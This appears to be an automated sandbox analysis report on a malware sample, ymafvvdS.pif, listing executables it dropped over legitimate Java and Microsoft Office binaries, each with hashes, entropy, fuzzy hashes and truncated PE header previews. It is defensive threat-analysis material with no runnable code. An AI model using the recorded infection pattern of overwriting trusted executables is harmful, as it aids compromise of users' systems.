SHA-512:	27D7595B260E2E3733711F7A1A177B0E5884C932D49D93634F317AFBC3C973618F400E3C51D84DD531CDC43D314637A0B42F99DE21B637CF3730E031F7495B4D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..........................................................................&.......@..\............................"..T............................!..@............ ...............................text............................... ..`.rdata..>.... ......................@..@.data........0....... ..............@....rsrc...\....@......."..............@..@.reloc...P...P...@..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\kinit.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	5.032982479460106
Encrypted:	false
SSDEEP:	12288:iKlzXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:zdsqjnhMgeiCl7G0nehbGZpbD
MD5:	3C48A532BA1A722EBA8FB0C1AA8B83A3
SHA1:	CAA6E9FB8833349CB8ADDE482C12BA299EEC7C54
SHA-256:	AF23E6F42B47DCB83278C4CFA7DA8506B0C77CBE49E70B97985A3CB5779F877C
SHA-512:	E9ED81E20B4B5130C52FCB7992DBEC52375A991A3C41872738FC9485CFB812BAEFBD2BB780A2D5DF3377AB21990EA9557BA64BC8341DEF639140A73DFEDCE4B1
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................Y........................................&.......@..T............................"..T............................!..@............ ...............................text............................... ..`.rdata..>.... ......................@..@.data........0....... ..............@....rsrc...T....@......."..............@..@.reloc...P...P...@..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\klist.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	5.032983018014891
Encrypted:	false
SSDEEP:	12288:UilzXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:9dsqjnhMgeiCl7G0nehbGZpbD
MD5:	E61AFD8C042A007706B30B8CFE53511D
SHA1:	7F3583793069656985F1910D75950C0863ACA280
SHA-256:	7EC82559637B89AC0FD26A5DBFC674052FF4CF1B9701228A01D305F7ED91B7ED
SHA-512:	A143D41D63D0DC3EE571E140EC58879A9937356F845A9B890BD9CC294E095194EA9B356F095B7F065798CE614F79804EB07397FB56936EFD75F2D69540D19832
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..................................2.......................................&.......@..T............................"..T............................!..@............ ...............................text............................... ..`.rdata..>.... ......................@..@.data........0....... ..............@....rsrc...T....@......."..............@..@.reloc...P...P...@..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\ktab.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	5.032943815775521
Encrypted:	false
SSDEEP:	12288:9TmTXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:JOsqjnhMgeiCl7G0nehbGZpbD
MD5:	08DFC109B332D4D9EA6879CC4CE2A843
SHA1:	A8B1974FA687971EB11190D46B3E76B1C291DD43
SHA-256:	50F1C56A48CCAC7910042E4A81438B44B8322CDCBAD30C0BB9ABD6D329BBB87F
SHA-512:	798BBED3B21292B80152279C626E33A8DA541DE2B4EB508BF4FDDCCB92091D1878109D853C151EE19018DDE25731E77ABD99972D53378DF9154232E2BDBE56C8
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................N........................................&.......@..P............................"..T............................!..@............ ...............................text............................... ..`.rdata..6.... ......................@..@.data........0....... ..............@....rsrc...P....@......."..............@..@.reloc...P...P...@..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\orbd.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	5.033868744252427
Encrypted:	false
SSDEEP:	12288:Ram3Xc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:Q6sqjnhMgeiCl7G0nehbGZpbD
MD5:	B6C409A5754AFB9FC86B353764F50856
SHA1:	0172A73A9C7033741D8308673FDBAD9B7EFEFE6C
SHA-256:	D4702F65856B48BD52903E0B1848AE0C3B730E36D8414C8896AFADDE17773AA0
SHA-512:	85F26976662D177B972F54F746FBDDD805F60914CDA9B43542BD07251F3A0D3F593CB0EC7BF41A0AEEB8C1BCA378E67C3BF8060ECAC2011FA84BAEAFF28B9914
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.........................................................................D'.......@..P........................... #..T...........................`"..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0....... ..............@....rsrc...P....@......."..............@..@.reloc...P...P...@..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\pack200.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	5.0329378627274455
Encrypted:	false
SSDEEP:	12288:2Q5LXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:9RsqjnhMgeiCl7G0nehbGZpbD
MD5:	0DE24A23444F47BF8B88FE4EBFF6EB56
SHA1:	8F4CAD174F962BAB5ED226B2E0406DBA05282816
SHA-256:	DCDC0249A07AE61CDECBBE979CC93E9842BCC2AA101FA19975810F3D5234EED7
SHA-512:	5200FA31FFCAF55D5E8584B14923FCD7E8E14D86330549BA7F3D8300ACF188E3890F302A92C849082C63BA6F54028CFD5DF7529B74C7806824F41D7D83E41926
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..................................K.......................................&.......@..\............................"..T............................!..@............ ...............................text............................... ..`.rdata..>.... ......................@..@.data........0....... ..............@....rsrc...\....@......."..............@..@.reloc...P...P...@..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\policytool.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	5.024322504835932
Encrypted:	false
SSDEEP:	12288:H4/OWZkYgb4+m+5HDL72ntF/YLKkLzEwBkx0o0GHiKQn9Y4:Y5qYdTt/hXV0cfQ9Y4
MD5:	BD8EF50E24E7BA0B802BB329B6C1A438
SHA1:	ED2DC2D1E2BA1B9C53F9A43A226A0E9724B2D154
SHA-256:	14600AD51F85884F02E159FC24A1C5BE6322644A1F025458C379837C285A3C7B
SHA-512:	B7FF6F94C588B3E8032EA0930F539B16F0BD0366CEA8410B7722296630F908026E4DD647D3811A5ADFB0FA291244219FF42869D856BEF35AE08AAC3A47144685
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..................................9.......................................&.......@..p............................"..T............................!..@............ ...............................text............................... ..`.rdata..F.... ......................@..@.data........0....... ..............@....rsrc...p....@......."..............@..@.reloc...P...P...@..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\rmid.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	5.024210821674783
Encrypted:	false
SSDEEP:	12288:dom+WZkYgb4+m+5HDL72ntF/YLKkLzEwBkx0o0GHiKQn9Y4:mAqYdTt/hXV0cfQ9Y4
MD5:	F1FCF36A1F55F97E161F21773590FF82
SHA1:	946222D6DB3F509EBE4F1FA7D7CDDE86C3C8B497
SHA-256:	4AEFF61E05A8E9F98A8338D0CD9E1734B584EC81EEA8C3E8C7447E8E5D30AC1C
SHA-512:	53EA21FAFDCC972B3751AA0EC822F766E0FA3A1D48BFFF0D9FAA368DC4002A9F8ED3DD596F52E734E6CDC1B4A3DDEBEC5346F7AD01A610E469F2B4382D764B55
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..........................................................................&.......@..P............................"..T............................!..@............ ...............................text............................... ..`.rdata..6.... ......................@..@.data........0....... ..............@....rsrc...P....@......."..............@..@.reloc...P...P...@..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\rmiregistry.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	5.024270674429157
Encrypted:	false
SSDEEP:	12288:3tSWWZkYgb4+m+5HDL72ntF/YLKkLzEwBkx0o0GHiKQn9Y4:dsqYdTt/hXV0cfQ9Y4
MD5:	24DCF93BA4C492216B0C05693B38F5CE
SHA1:	BAD5540DA1F1A8A804907E8F58993A5040A13534
SHA-256:	3BC552DFAE5306954DAC95730B354866C49E9AE17D151435124FC9432D600A25
SHA-512:	B796E8B120594A789C0EE1E54F3789DF259D36E079793362313DF1007F29CE97A6BDC3B11C93F09DE99F1E8548D74197DA32AD5D4F9110C885EDED9542751945
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................7L.......................................&.......@..p............................"..T............................!..@............ ...............................text............................... ..`.rdata..F.... ......................@..@.data........0....... ..............@....rsrc...p....@......."..............@..@.reloc...P...P...@..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\servertool.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	5.024334243918023
Encrypted:	false
SSDEEP:	12288:ls/OWZkYgb4+m+5HDL72ntF/YLKkLzEwBkx0o0GHiKQn9Y4:y5qYdTt/hXV0cfQ9Y4
MD5:	8DA0B9E41E7E5BF91EE408A3CD267AF2
SHA1:	232D8BC38C70BAFEC93F916239E8AD57AC422C58
SHA-256:	32C224101E5107BECA951E90B80667E3CD76316B293EDE0AF2E490F9F5AC202F
SHA-512:	DC980E2A9D151073538AC365949D2111DC23C1F5C208E72C52A1689B244E8B800A129D2A90B4403753278AC98CCB1213FC81CA6E70EC43664BEBE3849C897525
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................m`.......................................&.......@..p............................"..T............................!..@............ ...............................text............................... ..`.rdata..F.... ......................@..@.data........0....... ..............@....rsrc...p....@......."..............@..@.reloc...P...P...@..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1202688
Entropy (8bit):	5.089522316085537
Encrypted:	false
SSDEEP:	12288:As8WZkYgb4+m+5HDL72ntF/YLKkLzEwBkx0o0GHiKQn9Y4:AsTqYdTt/hXV0cfQ9Y4
MD5:	1BFF2EFC59E2043DA239B02DF3580F6B
SHA1:	E77A5C6799945E784F05FEE3364C82D4D9B48876
SHA-256:	DFC5108314439EB04EA4D9A61EE36F14347A5D6D2468105E88F91CB381C1D414
SHA-512:	3A67180B621D19F8F6DA8F97CBA34B6CC217272C98235871627529C5E4B854337AC2009ECB952313075E7D3BA5A3D341FBFBA2733B35C23191E2752B52754F11
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......zGG.>&).>&).>&).7^..&).\^(.<&).\^-.3&).\^.=&).M-.?&).M(.7&).>&(.&).\^,..&)._,.:&)._..?&)._+.?&).Rich>&).........PE..L...M.d.................\|...........u............@............................................................................@....0..............................H...T...............................@...............P...P........................text...L{.......\|.................. ..`.rdata.............................@..@.data........ ......................@....rsrc........0......................@..@.reloc...P...@...@..................@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\tnameserv.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142784
Entropy (8bit):	5.023660644416309
Encrypted:	false
SSDEEP:	12288:fNQCWZkYgb4+m+5HDL72ntF/YLKkLzEwBkx0o0GHiKQn9Y4:FOqYdTt/hXV0cfQ9Y4
MD5:	C5A201A95E66CE2DC2C92E1A3EEBAFE6
SHA1:	557B39980733FD7FE076B23856299F29597E8AAC
SHA-256:	1E9D8C351DA8C7B83DBD6061AAEA5A472554703875740456542D3A4EC6C76B2E
SHA-512:	BBF3F1A5D496CC0D34901BE0A7EB5A3553AD8AA1521A37F1F0CB7E00425EDD926332E9CEFCEB5D9BB3E23CA77A620C36F2DD5B07AC941374237A2D1A6CB7F419
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................... ............... ....@..........................................................................'.......@..h...........................8#..T...........................x"..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0......."..............@....rsrc...h....@.......$..............@..@.reloc...P...P...@...0..............@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1298944
Entropy (8bit):	5.241045179668471
Encrypted:	false
SSDEEP:	12288:XCXN7D5GqS2AroAoWZkYgb4+m+5HDL72ntF/YLKkLzEwBkx0o0GHiKQn9Y4:Xi7lG3roA3qYdTt/hXV0cfQ9Y4
MD5:	88DB6C800D724E4BB2B39AB4CF5BCD99
SHA1:	287FEE95318F9CF542E87191F03EB75EB4F787A5
SHA-256:	D64BE016C85268C38037165E9B23FB3FE37185F9A31D2F71A54E17A2BB9A7175
SHA-512:	61E6563FD3C0BE90ABF91E46435FC78DBC63186496CC9ABF3725BE1B39FBC5A7D1617128A055117F0A709FD6DCC299ED3167EB4B5AE4F4D8A7B17243BACDA681
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........n...........................................................................................Rich............................PE..L.....d............................A.............@..........................0..........................................................D............................e..8............................e..@............................................text...D........................... ..`.rdata..5...........................@..@.data................f..............@....idata...............v..............@..@.00cfg..............................@..@.rsrc...D...........................@..@.reloc...P.......@..................@...........................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1269248
Entropy (8bit):	5.2783484948471715
Encrypted:	false
SSDEEP:	12288:H5bfQFUWZkYgb4+m+5HDL72ntF/YLKkLzEwBkx0o0GHiKQn9Y4:HNfQFbqYdTt/hXV0cfQ9Y4
MD5:	F0FEC544C5C145AF8E27D959E33C76DD
SHA1:	9E426C49FB22147141288DA3381116184CA34E12
SHA-256:	8DA454FCBBED832F396481F21CF90E04086AE9601E4491F1973462835B987664
SHA-512:	5BABD03FFF6EBC8C62ABC1EF9B2AF5DD9410A0E2DFE6C50FB96C2342598D7F519C7F23B557AC3CDCC1E16B731084CBDD192BD56D1BB56071E8C92732F6BDFEA9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X.u.....................\|.......\|.......\|.......\|...?.......................................y.......y.......y.......Rich............................PE..L...-1.e............... ..........................@..................................9......................................d...........................................8...............................@...............,............................text............................... ..`.rdata..4a.......b..................@..@.data........ ......................@....reloc...`...@...P..................@...........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1287680
Entropy (8bit):	5.295155314582601
Encrypted:	false
SSDEEP:	12288:fNmt0LDILi2yJWZkYgb4+m+5HDL72ntF/YLKkLzEwBkx0o0GHiKQn9Y4:CLikqYdTt/hXV0cfQ9Y4
MD5:	E8DC9D8F1FB838925BA9070B37F6E944
SHA1:	2C44AE14D0F0B59EC829E119E3291D539A600810
SHA-256:	329ED32116101025EE6597ED5E995C6CF5EFA440F7BCB1B0F2894D32514A46D3
SHA-512:	C49C392CC294B43190FDA0C470C0CF009C2E41D6D3572DE37D884BD531442436FA6D4BC749036EB27FDC05E6B18B1029F5CF010F430E591284079560ED9DE3E9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......,3.zhR.)hR.)hR.)a.)`R.). .(nR.). .(wR.). .(oR.)hR.).V.). .(AR.). o)jR.). .(xR.). m)iR.). .(iR.)RichhR.)................PE..L...I.6..................&...H......`........@....@.................................L............ ...........................Q.......`..(...........................`^..T....................B..........@............P...............................text....$.......&.................. ..`.data........@.....................@....idata..l....P.......2..............@..@.rsrc...(....`.......@..............@..@.reloc...p...p...`...F..............@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1287680
Entropy (8bit):	5.295148067762896
Encrypted:	false
SSDEEP:	12288:ZNmt0LDILi2yJWZkYgb4+m+5HDL72ntF/YLKkLzEwBkx0o0GHiKQn9Y4:8LikqYdTt/hXV0cfQ9Y4
MD5:	2DFBE8C9A5A7DAAF732FEB6E66DE8A3A
SHA1:	F3A5EE35B542BE029D95BDAD2F3EE1A75D7C6E49
SHA-256:	C06626191BAE81B60FA8717969D08D7994BBF838508B4F33B01390432E46283F
SHA-512:	DF87A9742585CFDF8FD82ECADDE49B47F3153B66D4B156D298962049AE5785573CA81A61A547676217D92BEF57B6D674DBF049FF54CB8467326A8E14625A5C7B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......,3.zhR.)hR.)hR.)a.)`R.). .(nR.). .(wR.). .(oR.)hR.).V.). .(AR.). o)jR.). .(xR.). m)iR.). .(iR.)RichhR.)................PE..L...I.6..................&...H......`........@....@..................................4........... ...........................Q.......`..(...........................`^..T....................B..........@............P...............................text....$.......&.................. ..`.data........@.....................@....idata..l....P.......2..............@..@.rsrc...(....`.......@..............@..@.reloc...p...p...`...F..............@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1343488
Entropy (8bit):	5.227684907524971
Encrypted:	false
SSDEEP:	12288:VjuozvMGNUbT8WZkYgb4+m+5HDL72ntF/YLKkLzEwBkx0o0GHiKQn9Y4R:NfQqYdTt/hXV0cfQ9Y4
MD5:	5770BEBF38267AF647211DF3C51D781E
SHA1:	298A3E5E39BDC1E7DB688E93A3C73BF2910877B5
SHA-256:	89B6E2BFE44503189272D311EEB06AFAB02FA629885023F2B01E199D6B6EB67E
SHA-512:	97C05F02A46CC66C0AA5D85DFE2B43C684F2ED7B0D45357A19CE4E53EF76EFEE466C74D4AD4A98F245FA300743B8295B0EECCEEB10D0EE0D948CDC934EF8E1F4
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... .(.d.F.d.F.d.F.m..l.F...B.h.F...E.`.F...C.{.F...G.c.F.d.G...F...N.M.F.....f.F.....e.F...D.e.F.Richd.F.................PE..d....~0/.........."..........P.................@....................................6..... .......... ...................................... ........ ..(...............................T....................e..(...`d..8............e...............................text............................... ..`.rdata..............................@..@.data...@...........................@....pdata..............................@..@.rsrc...(.... ......................@..@.reloc...p...0...`... ..............@...........................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1496064
Entropy (8bit):	5.57031954499461
Encrypted:	false
SSDEEP:	12288:uWmt0LDdOUO42ZdoruI4kxBgGOzWZkYgb4+m+5HDL72ntF/YLKkLzEwBkx0o0GHE:ubUO42y/EKqYdTt/hXV0cfQ9Y4
MD5:	9E74F7AF73B0A39717595A334757FEF7
SHA1:	761CC934EC8D3A1D6638CE211229980BF2DBAF01
SHA-256:	03CA11BC35D299FDD06800B630950AEB20F4BDAAF74E0627E687B7F1884B63AB
SHA-512:	8A2CC602BF6D0FD2B58F6ABE2EFF30B08F1310D44A5DE1992D374A6135E773A663786EC8BC0C0725F4652F9EFA1646C58BE52553144087E304F0C5C89B68DEC6
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X..i.v.:.v.:.v.:...;9v.:...;.v.:...;.v.:.v.:.v.:...;$v.:...;4v.:...:.v.:...;.v.:Rich.v.:........................PE..L......m.................0...\|...............@....@.......................... ......t............ ......................................................................T...................`[..........@............p...............................text...l/.......0.................. ..`.data...@'...@.......4..............@....idata..@....p.......L..............@..@.c2r.................\...................rsrc................^..............@..@.reloc...........p...d..............@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	52712960
Entropy (8bit):	7.961781850126838
Encrypted:	false
SSDEEP:	1572864:kKjL44lyBc+UN0qRsMjDAY9d5o/paLXzHLe:HicZmsR3Lo/cnLe
MD5:	54715B051FAA31E9E953B5BB68629E4A
SHA1:	E25C1575EE712B71C3EC53CB27405F9DF749803A
SHA-256:	3255CE0E15605129CDBCA42C7D53D3B1EAD1FDA4B117273516205DD238A6E86B
SHA-512:	9050C44349FDD82CFED6778500D957A29161F3164D7B8652CD2CE189B8BFDF342AD3F319825FFDAFF7FAC6F04CC1D7B0A3A2C0DE3293A9B5EDE1E3BF05E4E7E3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......LN.../nB./nB./nB.]mC./nB.]kC./nB.TjC./nB.TmC./nB.TkC}/nB.FjC./nB.FkC3/nB.]hC./nB.]jC./nB.]oC?/nB./oBq-nB.TgC./nB.TkC./nB.TnC./nB.T.B./nB.TlC./nBRich./nB........................PE..L...1~............"....!.j(.........p]........(...@...........................$.....e&%..............................l3..t....3.0.....6.X............................./.p...................../.....h./.@.............(......j3.`....................text...jh(......j(................. ..`.rdata........(......n(.............@..@.data...t.... 4.......4.............@....didat..$.....5.......5.............@....rsrc...X.....6.......5.............@..@.reloc... ...........F..............@...................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4993536
Entropy (8bit):	6.809235027242866
Encrypted:	false
SSDEEP:	98304:BlkkCqyDEY7+o3OBvfGVY+40yaHyS+9s/pLHTthF3:3kkCqaE68eV+0yAE6LHTPF3
MD5:	0EA3838F4AAFC115DB0D59B8BF9A7C97
SHA1:	2605550B304B1267D5AAE77DED213573BF90CE41
SHA-256:	AD13C7214814B6FB9738A836683FD6287C1E63F837AEB82DE90123708C839AA9
SHA-512:	ED19CDF5E4DC9B7B3EB4A72D5DDE626EB9593821B2DD8FB030250B88185BD7DE591C32744A5D73C2E9520306AF57CE5D7C47412E4667DB21247AEBEE83200032
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........:V@.[8..[8..[8.{);..[8.{)=..[8..!<..[8..!;..[8..!=..[8.\.U..[8.\.E..[8.{)<..[8.{)>..[8.{)9..[8..[9..X8..!=..[8..!1.0^8..!...[8..[...[8..!:..[8.Rich.[8.................PE..L......e..........".... ....Z........%......`+...@..........................pL......BL......................................=......p?.............................<.=.8...................P.:..... .+.@.............+......j=......................text............................. ..`.rdata........+....................@..@.data.........=.......=.............@....rsrc........p?......F?.............@..@.reloc........?......R?.............@...................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1168384
Entropy (8bit):	5.03600894040924
Encrypted:	false
SSDEEP:	12288:pWZkYgb4+m+5HDL72ntF/YLKkLzEwBkx0o0GHiKQn9Y4:kqYdTt/hXV0cfQ9Y4
MD5:	5D87086611CEF9DC221CEA2BAD088AC5
SHA1:	9327AE493871D4E25391CED7B49DB4DCC2BA42E6
SHA-256:	7D4E06A9AF155648F276284C6DA5B101C8F273AFFEB17BD44A40E017565870EC
SHA-512:	A158B2EC23014A28BAF292639755DDF0266C7D1DB3D00D786495147605A77C9DE746DD5F5DE1C5D5DB9EA861920DF24DC1E26BACC7CAF478844EA0413E4619C9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........._...........I.....................................................................%...........Rich...........PE..L....[.d............... .F...P......`?.......`....@..................................b..................................................$...........................P}..8....................i......`d..@............`......4o.......................text....E.......F.................. ..`.rdata.......`... ...J..............@..@.data................j..............@....c2r.....................................rsrc...$...........................@..@.reloc...P.......@..................@...................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1522688
Entropy (8bit):	5.322977763051578
Encrypted:	false
SSDEEP:	12288:5VwACThwSSn2dR1Ntl8WZkYgb4+m+5HDL72ntF/YLKkLzEwBkx0o0GHiKQn9Y4:5yAAWSS2H1hqYdTt/hXV0cfQ9Y4
MD5:	2E48CA582AA1AC610D8E1D6F7CA5BB5F
SHA1:	F69FF192FFE0B94C65AD20C1FF5A25AAF7104665
SHA-256:	17771E5ADF3C51C19964E8EC4927462B8692522041A4677EA1E38886211E936E
SHA-512:	92C519E7A6406430ADF35AB69E98CF54392451355DB062DC995ECF4FA69255B5F3ACEC18425E7A4A89B7358DA286C721839992B5D667A99AC15FE5D2D02D1CFD
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............f.@.f.@.f.@...@.f.@...A.f.@...A.f.@...A.f.@...A.f.@...A.f.@...A.f.@.f.@.d.@...A.f.@...ASf.@..z@.f.@.f.@.f.@...A.f.@Rich.f.@................PE..L......e............... .........................@.................................-...................................................,T..............................8...................Hj..........@...................D...`....................text...u........................... ..`.rdata..0...........................@..@.data...............................@....c2r.................d...................rsrc...,T.......V...f..............@..@.reloc..............................@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
